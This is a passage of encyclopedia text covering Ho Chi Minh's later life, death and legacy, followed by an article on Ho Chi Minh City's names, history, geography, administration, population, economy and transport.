          In 1923, Hồ left Paris for Moscow, where he was employed by the Comintern, and participated in the Fifth Comintern Congress in June 1924, before arriving in Canton (Guangzhou), China, in November 1924. During 1925-26 he organized 'Youth Education Classes' and occasionally gave lectures at the Whampoa Military Academy on the revolutionary movement in Indochina. He left Canton again in April 1927 and returned to Moscow, spending some of the summer of 1927 recuperating from tuberculosis in the Crimea, before returning to Paris once more in November. He then returned to Asia by way of Brussels, Berlin, Switzerland, Italy, from where he took a ship to Bangkok in Thailand, where he arrived in July 1928. He remained in Thailand, staying in the Thai village of Nachok, until late 1929 when he moved on to Hong Kong, and Shanghai. In June 1931, he was arrested in Hong Kong and incarcerated by British police until his release in 1933. He then made his way back to the Soviet Union, where he spent several more years recovering from tuberculosis. In 1938, he returned to China and served as an adviser with Chinese Communist armed forces.


          


          Independence movement


          In 1941, Hồ returned to Vietnam to lead the Việt Minh independence movement. He oversaw many successful military actions against the Vichy French and Japanese occupation of Vietnam during World War II, supported closely but clandestinely by the United States Office of Strategic Services, and also later against the French bid to reoccupy the country (1946-1954). He was also jailed in China for many months by Chiang Kai-shek's local authorities. After his release in 1943, he again returned to Vietnam. He was treated for malaria and dysentery by American OSS doctors.


          After the August Revolution (1945) organized by the Việt Minh, Hồ became Chairman of the Provisional Government (Premier of the Democratic Republic of Vietnam) and issued a declaration of independence that borrowed much from the French and American declarations. Though he convinced Emperor Bảo Đại to abdicate, his government was not recognized by any country. He repeatedly petitioned American President Harry Truman for support for Vietnamese independence, citing the Atlantic Charter, but Truman never responded.


          In 1945, in a power struggle, the Viet Minh killed members of rival groups, such as the leader of the Constitutional Party, the head of the Party for Independence, and Ngo Dinh Diem's brother, Ngo Dinh Khoi. Purges and killings of Trotskyists, the rival anti-Stalinist communists, have also been documented. In 1946, when Hồ traveled outside of the country, his subordinates imprisoned 25,000 non-communist nationalists and forced 6,000 others to flee. Hundreds of political opponents were also killed in July that same year. All rival political parties were banned and local governments purged to minimise opposition later on.


          


          Birth of the Democratic Republic of Vietnam


          On September 2, 1945, after Emperor Bao Dai's abdication, Hồ Ch Minh read the Declaration of Independence of Vietnam, under the name of the Democratic Republic of Vietnam. With violence between rival Vietnamese factions and French forces spiraling, the British commander, General Sir Douglas Gracey declared martial law. On September 24, the Viet Minh leaders responded with a call for a general strike.


          In September 1945, a force of 200,000 Chinese Nationalists arrived in Hanoi. Hồ Ch Minh made arrangement with their general, Lu Han, to dissolve the Communist Party and to hold an election which would yield a coalition government. When Chiang Kai-Shek later traded Chinese influence in Vietnam for French concessions in Shanghai, Hồ Ch Minh had no choice but to sign an agreement with France on March 6, 1946, in which Vietnam would be recognized as an autonomous state in the Indochinese Federation and the French Union. The agreement soon broke down. The purpose of the agreement was to drive out the Chinese army from North Vietnam. Fighting broke out with the French soon after the Chinese left. Hồ Ch Minh was almost captured by a group of French soldiers led by Jean-Etienne Valluy at Việt Bắc, but was able to escape.


          In February 1950, Hồ met with Stalin and Mao in Moscow after the Soviet Union recognized his government. They all agreed that China would be responsible for backing the Viet Minh. Mao's emissary to Moscow stated in August that China planned to train 60-70,000 Viet Minh in the near future. China's support enabled Ho to escalate the fight against France.


          According to a story told by Journalist Bernard Fall, after fighting the French for several years, Hồ decided to negotiate a truce. The French negotiators arrived at the meeting site, a mud hut with a thatched roof. Inside they found a long table with chairs and were surprised to discover in one corner of the room a silver ice bucket containing ice and a bottle of good Champagne which should have indicated that Hồ expected the negotiations to succeed. One demand by the French was the return to French custody of a number of Japanese military officers (who had been helping the Vietnamese armed forces by training them in the use of weapons of Japanese origin), in order for them to stand trial for war crimes committed during World War II. Hồ replied that the Japanese officers were allies and friends whom he could not betray. Then he walked out, to seven more years of war. (From Last Reflections on a War, Fall's last book, published posthumously.)


          In 1954, after the important defeat of French paratroopers at the Battle of Điện Bin Phủ, France was forced to give up its empire in Indochina.


          


          Becoming president
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          In 1955, Ho Chi Minh became president of the Democratic Republic of Vietnam ( North Vietnam), a Communist-led single party state.


          The 1954 Geneva Accords required that a national election would be held in 1956 to reunite Vietnam under one government. The agreement was signed by North Vietnam and France, but was rejected and not signed by South Vietnam and the United States. Therefore the government of South Vietnam, now under the leadership of Ngo Dinh Diem, refused the proposed election. Some contemporary observers consider that if an election had been held in the 1954-55 period, around 80% of the Vietnamese population would have voted for Ho Chi Minh. However the totalitarian government of North Vietnam could never tolerate the free press and free organization of opposition groups required by a free election. Even "President Eisenhower is widely quoted to the effect that in 1954 as many as 80% of the Vietnamese people would have voted for Ho Chi Minh, as the popular hero of their liberation, in an election against Bao Dai... " The U.S. committed itself to oppose Communism beginning in 1950, when it funded 80% of the French effort. When South Vietnam became independent of France in 1954, the U.S. was its chief sponsor and financial backer, but there never was a treaty between the U.S. and South Vietnam.


          Following the Geneva Accords, there was to be a 300-day period in which people could freely move between the zones of the two Vietnams. Some 900,000 to 1 million Vietnamese, mostly Roman Catholic, left for South Vietnam, while a much smaller number, mostly communists, went from South to North. This was partly due to propaganda claims by a CIA mission led by Colonel Edward Lansdale that the Virgin Mary had moved South out of distaste for life under communism. Some Canadian observers claimed that some were forced by North Vietnamese authorities to remain against their will. During this era, Hồ, following the communist doctrine initiated by Stalin and Mao, started a land reform in which hundreds of thousands of people accused of being landlords were summarily executed or tortured and starved in prison. This also caused millions of people to flee to South Vietnam.


          In 1957, L Duẩn was appointed acting party boss and began sending aid to the Vietcong insurgency in South Vietnam. This represented a loss of power by Hồ, who is said to have preferred the more moderate Gip for the position. The so called Hochiminh Trail was built in 1959 to allow aid to be sent to the Vietcong through Laos and Cambodia, thus escalating the war. Duẩn was named permanent party boss in 1960, leaving Hồ a figurehead president and symbol of Vietnamese Communism.


          In late 1964, North Vietnamese combat troops were sent southwest into neutral Laos. During the mid to late 1960s, L Duẩn permitted 320,000 Chinese volunteers into northern North Vietnam to help build infrastructure for the country, thereby freeing a similar number of North Vietnamese forces to go south.


          


          Death
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          With the outcome of the Vietnam War still in question, Ho Chi Minh died on the morning of September 2, 1969, at his home in Hanoi at age 79 from heart failure.


          The former capital of South Vietnam, Saigon, was renamed Ho Chi Minh City on 1 May 1975 shortly after its capture which officially ended the war.


          His embalmed body is on display in a granite Ho Chi Minh Mausoleum modeled after Lenin's Tomb in Moscow. This is similar to other Communist leaders who have been similarly displayed before and since, including Mao Zedong, Kim Il-Sung, and for a time, Joseph Stalin, but the "honour" violated Hồ's last wishes. He wished to be cremated and his ashes buried in urns on hilltops of Vietnam (North, Central and South). He wrote, "Not only is cremation good from the point of view of hygiene but also it saves farmland."


          The Ho Chi Minh Museum in Hanoi is dedicated to his life and work.


          In Vietnam today, he is regarded by the Communist government with almost god-like status in a nationwide personality cult, even though the government has abandoned most of his economic policies since the mid-1980s. He is still referred to as "Uncle Hồ" in Vietnam. Hồ's image appears on the front of every Vietnamese currency note, and Hồ is featured prominently in many of Vietnam's public buildings. In 1987, UNESCO officially recommended to Member States that they "join in the commemoration of the centenary of the birth of President Ho Chi Minh by organizing various events as a tribute to his memory", considering "the important and many-sided contribution of President Ho Chi Minh in the fields of culture, education and the arts" and that Ho Chi Minh "devoted his whole life to the national liberation of the Vietnamese people, contributing to the common struggle of peoples for peace, national independence, democracy and social progress."


          


          Criticism


          In contrast, some Vietnamese who lived through the war hated Ho Chi Minh for bringing chaos to the country. Vietnamese people living outside of Vietnam, commonly known as Overseas Vietnamese, have more hostile opinions of Ho Chi Minh. In particular, the Vietnamese in the U.S., who fled communist rule after 1975, view Hồ as a murderer and traitor who ruined Vietnam by starting a war.


          


          Quotes


          
            	"Nothing is more valuable than independence and freedom."


            	"I follow only one party: the Vietnamese party."


            	"You can kill ten of our men for every one we kill of yours. But even at those odds, you will lose and we will win." - referring to France and America in their wars in Vietnam.


            	"It is better to sacrifice everything than to live in slavery!"


            	"The Vietnamese people deeply love independence, freedom and peace. But in the face of United States aggression they have risen up, united as one man."


            	"We have to win independence at any cost, even if the Truong Son mountains burn."


            	"In (Lenin's Theses on the National and Colonial Questions) there were political terms that were difficult to understand. But by reading them again and again finally I was able to grasp the essential part. What emotion, enthusiasm, enlightenment and confidence they communicated to me! I wept for joy. Sitting by myself in my room, I would shout as if I were addressing large crowds: "Dear martyr compatriots! This is what we need, this is our path to liberation!" Since then (the 1920s) I had entire confidence in Lenin, in the Third International!"


            	"When the prison doors are opened, the real dragon will fly out."


            	"It was patriotism, not communism, that inspired me."


            	"Remember, the storm is a good opportunity for the pine and the cypress to show their strength and their stability."


            	"My only desire is that all of our Party and people, closely united in struggle, construct a peaceful, unified, independent, democratic and prosperous, and make a valiant contribution to the world Revolution." (Hanoi, May 10, 1969.)


            	Better to eat the French dung for 100 years than the Chinese dung for 1,000.
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              	Coordinates:
            


            
              	Country

              	Vietnam
            


            
              	Founded

              	1698
            


            
              	Renamed

              	1976
            


            
              	Government
            


            
              	-Type

              	Municipality
            


            
              	-Party Secretary

              	L Thanh Hải
            


            
              	-People's Committee Chairman:

              	L Hong Qun
            


            
              	-People's Council Chairwoman:

              	Phạm Phương Thảo
            


            
              	Area
            


            
              	-Total

              	808.9sqmi(2,095km)
            


            
              	Elevation

              	63ft (19m)
            


            
              	Population (Mid-2006)
            


            
              	-Total

              	6,424,519
            


            
              	- Density

              	7,943/sqmi(3,067/km)
            


            
              	Area code(s)

              	+84 (8)
            


            
              	Website: http://www.hochiminhcity.gov.vn/
            

          


          Ho Chi Minh City ( Vietnamese: Thnh phố Hồ Ch Minh pronunciation ) is the largest city in Vietnam and is located near the Mekong Delta. Under the name, Prey Nokor ( Khmer: [image: ]), it was the main port of Cambodia, before being annexed by the Vietnamese in the 17th century. Under the name Saigon (Vietnamese: Si Gn; pronunciation), it was the capital of the French colony of Cochinchina, and later of the independent state of South Vietnam from 1954 to 1975. In 1975, Saigon was merged with the surrounding province of Gia Định and renamed Hồ Ch Minh City (although the name Si Gn is still commonly used.)


          The city centre is situated on the banks of the Saigon River, 60kilometers (37mi) from the South China Sea and 1,760kilometers (1,094mi) south of Hanoi, the capital of Vietnam.


          The metropolitan area, which consists of Hồ Ch Minh City metro area, Thủ Dầu Một, Di An, Bien Hoa and surrounding towns, has more than 9 million people, making it the largest metropolitan area in Vietnam and Indochina. The Greater Ho Chi Minh City Metropolitan Area, a metropolitan area covering most part of Dong Nam Bo plus Tien Giang and Long An provinces under planning will have an area of 30,000 square kilometers with a population of 20 million inhabitants by 2020.


          


          Origin of the name


          


          Original Khmer name


          The city was known by its original Khmer inhabitants as Prey Nokor ([image: ]). Prey Nokor means forest, or wood in Khmer (Prey = forest; Nokor = empire,city, from Sanskrit nagara).


          The name Prey Nokor is still the name used in Cambodia as of 2007, as well as the name used by the Khmer Krom minority living in the delta of the Mekong.


          Dr. Keng, Vansak, a famous French-educated Cambodian currently living in France, describes that the original word of Prey Nokor is Prey Kor. Prey means Forest (all Cambodian people recognize the word Prey as Forest only, not God) and Kor is a kind of tree that its fruits can be produced cotton product. Prey Kor became Prey Nokor because the Khmer ethnic people want to refer to the place as a city; Nokor means City.


          


          Traditional Vietnamese name


          After Prey Nokor was settled by Vietnamese refugees from the north, in time it became known as Si Gn. There is much debate about the origins of the Vietnamese name, Si Gn, whose etymology is analyzed below.


          It should be noted, however, that before the French colonization, the official Vietnamese name of Saigon was Gia Định ( Chữ Nm: 嘉 定). In 1862, the French discarded this official name and adopted the name "Saigon", which had always been the popular name.


          From an orthographic point of view, the Vietnamese name, Si Gn, is written in two words, which is the traditional convention in Vietnamese spelling. Some people, however, write the name of the city as SaiGon or Saigon in order to save space or give it a more Westernized look.


          


          Sino-Vietnamese etymology


          A frequently heard, and reasonable, explanation is that Si is a Chinese loan word (Chinese: 柴, pronounced chi in Mandarin) meaning firewood, lops, twigs; palisade, while Gn is another Chinese loan word (Chinese: 棍, pronounced gn in Mandarin) meaning stick, pole, bole, and whose meaning evolved into cotton in Vietnamese (bng gn, literally cotton stick, i.e. cotton plant, then shortened to gn).


          Some people say that this name originated from the many cotton plants that the Khmer people had planted around Prey Nokor, and which can still be seen at Cy Mai temple and surrounding areas..


          Another explanation is that the etymological meaning twigs (si) and boles (gn) refers to the dense and tall forest that once existed around the city, a forest to which the Khmer name, Prey Nokor, already referred.


          In Chinese, the city is referred to as 西 貢, pronounced "sai gung" in Cantonese and Xīgng in Mandarin. This represents "Saigon" written phonetically.


          


          Khmer etymology
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          Another etymology often proposed, although held now as a least likely etymology, is that Saigon comes from Sai Con, which would be the transliteration of the Khmer word, prey kor ([image: ]), meaning god or heavenly . Nokor is a Khmer word of Sanskrit origin meaning "city, land").


          This Khmer etymology theory is quite interesting given the Khmer context that existed when the first Vietnamese settlers arrived in the region. However, it fails to completely explain how Khmer "prey" led to Vietnamese "Si", since these two syllables appear phonetically quite distinct and as the least reasonable and least likely candidate from the khmer etymology.


          


          Cantonese etymology


          Another reasonable etymology was offered by Vương Hồng Sển, a Vietnamese scholar in the early 20th century, who asserted that Si Gn had its origins in the Cantonese name of Cholon (Vietnamese: quoc ngu Chợ Lớn; chu nom [image: ]) , the Chinese district of Saigon. The Cantonese (and original) name of Cholon is "Tai-Ngon" ( 堤 岸), which means "embankment" (French: quais). The theory posits that "Si Gn" derives from "Tai-Ngon".


          


          Current Vietnamese name


          Immediately after the communist takeover of South Vietnam in 1975, a provisional government renamed the city after Ho Chi Minh, a former North Vietnamese leader. The official name is now Thnh phố Hồ Ch Minh, abbreviated Tp. HCM. This is translated as Ho Chi Minh City and abbreviated HCMC. Si Gn is still the most common way to refer to the city in conversation. Si Gn is used officially to refer to District 1, for example in bus destinations. The name is also found in company names, book titles and even on airport departure boards (the code for Tan Son Nhat International Airport is SGN).


          


          History


          


          Early history


          Ho Chi Minh City began as a small fishing village known as Prey Nokor. The area that the city now occupies was originally swampland, and was inhabited by Khmer people for centuries before the arrival of the Vietnamese. It should be noted that in Khmer folklore that Southern Vietnam was given to the Vietnamese government as a dowry for the marriage of a Vietnamese princess to a Khmer prince in order to stop constant invasions and pillaging of Khmer villages.


          


          Khmer rule


          In 1623, King Chey Chettha II of Cambodia (1618-1628) allowed Vietnamese refugees fleeing the Trinh-Nguyen civil war in Vietnam to settle in the area of Prey Nokor, and to set up a custom house at Prey Nokor. Increasing waves of Vietnamese settlers, which the Cambodian kingdom, weakened because of war with Thailand, could not impede, slowly Vietnamized the area. In time, Prey Nokor became known as Saigon.


          


          Nguyen dynasty rule


          In 1698, Nguyen Huu Canh, a Vietnamese noble, was sent by the Nguyen rulers of Huế to establish Vietnamese administrative structures in the area, thus detaching the area from Cambodia, which was not strong enough to intervene. He is often credited with the expansion of Saigon into a significant settlement. A large Vauban citadel called Gia Dinh was built, which was later destroyed by the French over the Battle of Chi Hoa.


          


          Colonial French era


          Conquered by France in 1859, the city was influenced by the French during their colonial occupation of Vietnam, and a number of classical Western-style buildings in the city reflect this, so much so that Saigon was called "the Pearl of the Far East" (Hn ngọc Viễn Đng) or "Paris in the Orient" (Paris Phương Đng).


          


          Capital of South Vietnam


          Former Emperor Bảo Đại made Saigon the capital of the State of Vietnam in 1950 with himself as head of state. After the Vietminh gained control of North Vietnam in 1955, the Saigon government was renamed the Republic of Vietnam, commonly referred to as South Vietnam. Saigon and Cholon, a adjacent city with many Sino-Vietnamese residents, were combined into an administrative unit called Đ Thnh Si Gn ("Capital City Saigon").


          


          Post-Vietnam War and today


          At the conclusion of the Vietnam War, on April 30, 1975, the city came under the control of the Vietnam People's Army. In the U.S. this event is commonly called the " Fall of Saigon," while the communist Socialist Republic of Vietnam call it the "Liberation of Saigon."


          In 1976, upon the establishment of the unified communist Socialist Republic of Vietnam, the city of Saigon (including Cholon), the province of Gia ịnh and 2 suburban districts of two other nearby provinces were combined to create Hồ Ch Minh City in honour of the late communist leader Hồ Ch Minh. The former name Saigon is still widely used by many Vietnamese, especially in informal contexts.. Generally, the term Saigon refers only to the urban districts of Hồ Ch Minh City. The word "Saigon" can also be found on shop signs all over the country, even in Hanoi.


          


          Points of interest
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          Today, the city's core is still adorned with wide elegant boulevards and historic French colonial buildings. The most prominent structures in the city centre are Reunification Palace (Dinh Thống Nhất), City Hall (Uy ban Nhan dan Thanh pho), City Theatre (Nha hat Thanh pho), City Post Office (Buu dien Thanh pho), State Bank Office (Ngan hang Nha nuoc), City People's Court (Toa an Nhan dan Thanh pho) and Notre-Dame Cathedral (Nh thờ Đức B). One of the oldest hotels dating from the French colonial era is the Hotel Majestic.


          The city has various museums, such as the Ho Chi Minh City Museum, Museum of Vietnamese History and concerning modern history the Revolutionary Museum (Bao tang Cach mang) and the War Remnants Museum (Ho Chi Minh City).


          


          Population


          Ho Chi Minh City is home to a well-established ethnic Chinese population. Cholon, which is made up of District 5 and parts of Districts 6, 10 and 11, serves as its Chinatown.


          With a population now exceeding 7 million (registered residents plus migrant workers as well as a metropolitan population of 10 million), Ho Chi Minh City is in need of vast increase in public infrastructure. To meet this need, the city and central governments have embarked on an effort to develop new urban centers. The two most prominent projects are the Thu Thiem city centre in District 2 and the Phu My Hung New City Centre in District 7 (as part of the Saigon South project) where various international schools such as Saigon South International (The American School), the Japanese school, Australia's Royal Melbourne Institute of Technology, the Taiwan and Korea schools are located).


          


          Geography and climate
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          Ho Chi Minh City is located at 1045'N, 10640'E in the southeastern region of Vietnam, 1,760 km (1,094 miles) south of Hanoi. The average elevation is 19 meters (63 ft) above sea level. It borders Tay Ninh and Binh Duong provinces to the north, Dong Nai and Ba Ria-Vung Tau provinces to the east, Long An Province to the west and the South China Sea to the south with a coast of 15 km in length. The city covers an area of 2,095 km (809 sq mi) (0.63% of the surface of Vietnam), extending up to Cu Chi (12mi/20 km from the Cambodian border), and down to Can Gio on the East Sea coast. The distance from the northernmost point (Phu My Hung Commune, Cu Chi District) to the southernmost one (Long Hoa Commune, Can Gio District) is 102kilometers (63mi), and from the easternmost point (Long Binh Ward, District Nine) to the westernmost one (Binh Chanh Commune, Binh Chanh District) is 47kilometers (29mi).


          The city has a tropical climate, with an average humidity of 75%. A year is divided into two distinct seasons. The rainy season, with an average rainfall of about 1,800millimetres (71in) annually (about 150 rainy days per year), usually begins in May and ends in late November. The dry season lasts from December to April. The average temperature is 28C (82F), the highest temperature sometimes reaches 39C (102F) around noon in late April, while the lowest may fall below 16C (61F) in the early mornings of late December.


          



          
            
              	Weather averages for Ho Chi Minh City
            


            
              	Month

              	Jan

              	Feb

              	Mar

              	Apr

              	May

              	Jun

              	Jul

              	Aug

              	Sep

              	Oct

              	Nov

              	Dec
            


            
              	Average high C (F)

              	32 (90)

              	33 (91)

              	34 (93)

              	34 (93)

              	33 (91)

              	32 (90)

              	31 (88)

              	32 (90)

              	31 (88)

              	31 (88)

              	30 (86)

              	31 (88)
            


            
              	Average low C (F)

              	21 (70)

              	22 (72)

              	23 (73)

              	24 (75)

              	25 (77)

              	24 (75)

              	25 (77)

              	24 (75)

              	23 (73)

              	23 (73)

              	22 (72)

              	22 (72)
            


            
              	Precipitation mm (inches)

              	14 (0.55)

              	4 (0.16)

              	12 (0.47)

              	42 (1.65)

              	220 (8.66)

              	331 (13.03)

              	313 (12.32)

              	267 (10.51)

              	334 (13.15)

              	268 (10.55)

              	115 (4.53)

              	56 (2.2)
            


            
              	Source: Embassy of Vietnam, London 2008-02-26
            

          


          


          Political and administrative system
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            [image: Main Post Office in Ho Chi Minh City]

            
              Main Post Office in Ho Chi Minh City
            

          


          Ho Chi Minh City is a municipality at the same level as Vietnam's provinces. The legislative branch is called the People's Council and consists of 95 deputies. The executive is called the People's Committee and has 13 members. Real power rests with the Communist Party, led by a party secretary. The chairman of the People's Committee is typical No. 2 in the city government and the chairman of the People's Council No. 3.


          The city has been divided into twenty-four administrative divisions since December 2003. Five of these {Area: 1,601 km} are designated as rural (huyện). The rural districts are Nh B, Cần Giờ, Hc Mn, Củ Chi, and Bnh Chnh. A rural district consists of communes (X) and townships (Thị trấn). The remaining districts {Area: 494 km} are designated urban or suburban (quận). This includes districts one to twelve, as well as Tn Bnh, Bnh Thạnh, Ph Nhuận, Thủ Đức, Bnh Tn, Tn Ph and G Vấp. Each quận is sub-divided into wards ("Phường"). Since December 2006, the city has had 259 wards, 58 communes and 5 townships (see List of HCMC administrative units below).


          
            
              	List of HCMC Administrative Units
            


            
              	Name of district (since December 2003)

              	Sub-division units (since December 2006)

              	Area (km) (since December 2006)

              	Population as of the October 1, 2004 Census

              	Population as of Mid 2005

              	Population as of Mid 2006
            


            
              	Inner Districts:
            


            
              	District 1

              	10 wards

              	7.73

              	198,032

              	199,899

              	200,768
            


            
              	District 2

              	11 wards

              	49.74

              	125,136

              	126,084

              	130,189
            


            
              	District 3

              	14 wards

              	4.92

              	201,122

              	199,297

              	199,172
            


            
              	District 4

              	15 wards

              	4.18

              	180,548

              	185,268

              	189,948
            


            
              	District 5

              	15 wards

              	4.27

              	170,367

              	192,157

              	191,258
            


            
              	District 6

              	14 wards

              	7.19

              	241,379

              	243,416

              	248,820
            


            
              	District 7

              	10 wards

              	35.69

              	159,490

              	163,608

              	176,341
            


            
              	District 8

              	16 wards

              	19.18

              	360,722

              	366,251

              	373,086
            


            
              	District 9

              	13 wards

              	114

              	202,948

              	207,696

              	214,345
            


            
              	District 10

              	15 wards

              	5.72

              	235,231

              	235,370

              	238,799
            


            
              	District 11

              	16 wards

              	5.14

              	224,785

              	225,908

              	227,220
            


            
              	District 12

              	11 wards

              	52.78

              	290.129

              	299,306

              	306,922
            


            
              	Go Vap District

              	16 wards

              	19.74

              	452,083

              	468,468

              	496,905
            


            
              	Tan Binh District

              	15 wards

              	22.38

              	397,569

              	394,281

              	387,681
            


            
              	Tan Phu District

              	11 wards

              	16.06

              	366,399

              	372,519

              	376,855
            


            
              	Binh Thanh District

              	20 wards

              	20.76

              	423,896

              	435,300

              	449,943
            


            
              	Phu Nhuan District

              	15 wards

              	4.88

              	175,293

              	175,716

              	175,825
            


            
              	Thu Duc District

              	12 wards

              	47.76

              	336,571

              	346,329

              	356,088
            


            
              	Binh Tan District

              	10 wards

              	51.89

              	398,712

              	403,643

              	447,173
            


            
              	Total Inner Districts

              	259 wards

              	494.01

              	5,140,412

              	5,240,516

              	5,387,338
            


            
              	Suburban Districts:
            


            
              	Cu Chi District

              	20 communes and 1 township

              	434.50

              	288,279

              	296,032

              	309,648
            


            
              	Hoc Mon District

              	11 communes and 1 township

              	109.18

              	245,381

              	251,812

              	254,598
            


            
              	Binh Chanh District

              	15 communes and 1 township

              	252.69

              	304,168

              	311,702

              	330,605
            


            
              	Nha Be District

              	6 communes and 1 township

              	100.41

              	72,740

              	73,432

              	74,945
            


            
              	Can Gio District

              	6 communes and 1 township

              	704.22

              	66,272

              	66,444

              	67,385
            


            
              	Total Suburban Districts

              	58 communes and 5 townships

              	1,601

              	976,839

              	999,422

              	1,037,181
            


            
              	Whole City

              	259 wards, 58 communes and 5 townships

              	2,095.01

              	6,117,251

              	6,239,938

              	6,424,519
            

          


          


          Demographics


          The population of Ho Chi Minh City, as of the October 1, 2004 Census, was 6,117,251 (of which 19 inner districts had 5,140,412 residents and 5 suburban districts had 976,839 inhabitants).. In the middle of 2006 the city's population was estimated to be 6,424,519 (of which 19 inner districts had 5,387,338 residents and 5 suburban districts had 1,037,181 inhabitants), or about 7.4% of the total population of Vietnam; making it the highest population-concentrated city in the country. As an administrative unit, its population is also the largest at the provincial level. As the largest economic and financial hub of Vietnam, HCMC has attracted more and more immigrants from other Vietnamese provinces in recent years; therefore, its population is growing rapidly. From 1999 - 2004, the city population has increased by about 200,000 people per year.


          The majority of the population are ethnic Vietnamese ( Kinh) at about 90%. Other ethnic minorities include Chinese ( Hoa) with 8%, (the largest Chinese community in Vietnam) and other minorities (Khmer, Cham, Nung, Rhade) 2%. The inhabitants of Ho Chi Minh City are usually known as "Saigonese" in English, "Saigonnais" in French and "dn Si Gn" in Vietnamese.


          The Kinh speak Vietnamese with their respective regional accents: Southern (about 50%), Northern (30%) and Central Vietnam (20%); while the Hoa speak Cantonese, Teochew (Chaozhou), Hokkien, Hainanese and Hakka dialects of Chinese (only a few speak Mandarin Chinese). A varying degree of English is spoken especially in the tourism and commerce sectors where dealing with foreign nationals is a necessity, so English has become a de facto second language for some Saigonese.


          According to some researchers the religious breakup in HCMC is as follows: Buddhism (all sects and/or including Taoism, Confucianism, Ancestor Worship) 80%, Roman Catholic 11%, Protestant 2%, others ( Cao Dai, Hoa Hao, Islam, Hinduism, Bah' Faith) 2%, and no religion or unknown 5%.


          


          Economy
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          Ho Chi Minh City is the most important economic centre in Vietnam as it accounts for a big percentage of Vietnam's economy. Some 300,000 businesses, including many large enterprises, are involved in high-tech, electronic, processing and light industries, also in construction, building materials and agro-products. Investors are still pouring in money into the city. Total local private investment was 160,000 billion dong ($10 billion) with 18,500 newly founded companies. Investment is trended to hi-tech and services, real estate projects. Currently, the city has 15 industrial parks and export-processing zones, in addition to the Quang Trung Software Park and the Saigon Hi-Tech Park. Intel invested about 1 billion dollar factory in the city. There are 171 medium and large scale markets, tens of supermarket chains, dozens of luxury shopping malls and many modern fashion or beauty centers. There are many malls and shopping plazas developing in the city. Over 50 banks with hundreds of branches and about 20 insurance companies are situated inside the city. The first first stock exchange of Vietnam was opened in the city in 2001.
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          In 2007, the city's Gross Domestic Product was estimated at $14.3 billion, or about $2,180 per capita, (up 12.6 percent on 2006) and accounting for 20 percent GDP of the country. The GDP calculating Parity Purchasing Power method (PPP), attained $71.5 billion, or about $10,870 per capita (approximately 3 times higher than the country's average). The city's Industrial Product Value was $6.4 billion, equivalent to 30 percent of the whole nation. Export - Import Turnover through HCMC ports took $36 billion, or 40 percent of the national total, of which, export revenue reached $18.3 billion, accounted for 40 percent of Vietnams total export revenue. At 2007, Ho Chi Minh City has also contributed about 20.5 percent to the national budget's revenue annually ,.


          In 2007, this city contributed 92,000 billion dong (approx. $6 billion), an increase of 30 percent compared to that of 2006. In 2007, this city served 3 million foreign tourists, made up 70 percent that of Vietnam. Total cargo transport to Ho Chi Minh Citys ports reached 50.5 million metric tonnes, nearly one-third of that in Vietnam..


          


          Education
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          Higher education in Ho Chi Minh City is quite developed, concentrating about 76 universities and colleges with a total of over 380,000 students in such places as: Ho Chi Minh City National University with 41,000 students, the most important university in the Southern Region, consisting of 6 main member schools: The University of Natural Sciences (formerly Saigon College of Sciences); The University of Social Sciences and Humanities (formerly Saigon College of Letters); The University of Technology (formerly Phu Tho National Institute of Technology); The International University, Faculty of Economics and the newly-established University of Information Technology.


          Some other important higher education establishments include: HCMC University of Pedagogy, University of Economics, University of Architecture, University of Medicine and Pharmacy, Nong Lam University (formerly University of Agriculture and Forestry), University of Law, University of Technical Education, University of Banking, University of Transport, University of Industry, Open University, University of Sports and Physical Education, University of Fine Art, University of Culture the Conservatory of Music, the Saigon Institute of Technology, and Open University .


          The RMIT University with about 2,000 students, the unique foreign-invested higher-education unit in Vietnam at the present, was founded in 2002 by the Royal Melbourne Institute of Technology (RMIT) of Australia.


          Several reputable English language schools following international curricula are located in Ho Chi Minh City as well.


          


          Public Health


          The health care system of the city is relatively developed with a chain of about 100 publicly owned hospitals or medical centers and dozens of privately owned clinics.. The 1,400 bed Chợ Rẫy Hospital, upgraded by Japanese aid and the French-sponsored Institute of Cardiology, are among the top medical facilities in Indochina. The Hoa Hao Medical Diagnosis Centre (Medic) and FV Hospital have recently attracted many clients, including foreigners, because of their good quality of service and modern equipment. Patients come from cities in nearby provinces and Cambodia as well. The hospitals with close to international standards quality include Cho Ray Hospital, the largest hospital in Ho Chi Minh City


          


          Transportation
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          Tan Son Nhat International Airport, a joint civilian and military airport, is located 4mi (6km) north of the city center (District 1). Taxi and bus services are available for travel to and from the airport and within the city. Because of the rapid growing number of air-passengers and Tan Son Nhat Airport's proximity to the centre of the city, the Vietnamese Government has prepared to build a new international airport near Long Thanh Township, Dong Nai Province about 25mi (40km) to the northeast.
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          Ho Chi Minh city's road system is in improvable condition. Many of its streets are riddled with potholes. This is especially true of the city's numerous back streets and alleys, which are sometimes little more than dirt paths. City buses are the only public transport available, although the city is seeking financing sources for bulding metro (subway) and elevated train projects, including the Ho Chi Minh City Metro planned for completion in 2020. Recently, the number of motorcycles has increased to about 4 million. There are also over 500,000 automobiles, packing the city's arterial roads and making traffic congestion and air pollution common problems. If Beijing is "the City of Bicycles", then Ho Chi Minh City is "the Capital of Motorbikes". Motorcycle-taxi (xe m) is a popular means of transport and foreigners are often greeted with the cry, "Motorbike you!" Visitors should consider the city's streets as dangerous due to the motorists' lack of behaviour and the city's lack of traffic law enforcement. Drivers can be seen driving the wrong way up one-way streets, ignoring red lights, not stopping for pedestrians on marked crossings and driving on the footpaths.
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          The city is the terminal hub of the North South Railroad of Vietnam. Passengers can travel to Hanoi and the Chinese border, about 1,212 mi/1,950 km to the north. There are many harbours along the Saigon and Dong Nai Rivers, such as: Saigon Port, Newport, Ben nghe Port and VICT Port. They account for the annual 40 percent export-import cargo output of Vietnam.


          From Ho Chi Minh City, one can travel to many places in Southern Vietnam and to Cambodia by road or waterway. The city is linked to the Central Highlands by National Highways 14 and 20, to the Central Coast and the north by National Highway 1 and to the Mekong River Delta by National Highways 1 and 50. Two expressways are being built to connect the city to Can Tho, the capital of the Mekong River Delta, and to Dau Giay Township, Dong Nai Province, 70 km to the northeast.


          People's Committee


          The Ho Chi Minh City People's Committee is the administrative/government organization that manages Ho Chi Minh City (formerly known as Saigon), Vietnam. Its equivalent in the U.S. context would be a city government. The "Chairman of the People's Committee" is the head of the government, and may be considered the equivalent of Mayor. The current Chairman of the Ho Chi Minh City People's Committee (2004-2009) is Mr. Le Hoang Quan. There are several Vice Chairmen and chairwomen on the committee with responsibility for various City Government Departments.


          


          Sister cities


          There are sister cities of Ho Chi Minh City:


          
            	[image: Flag of the Philippines] Manila, Philippines

          


          
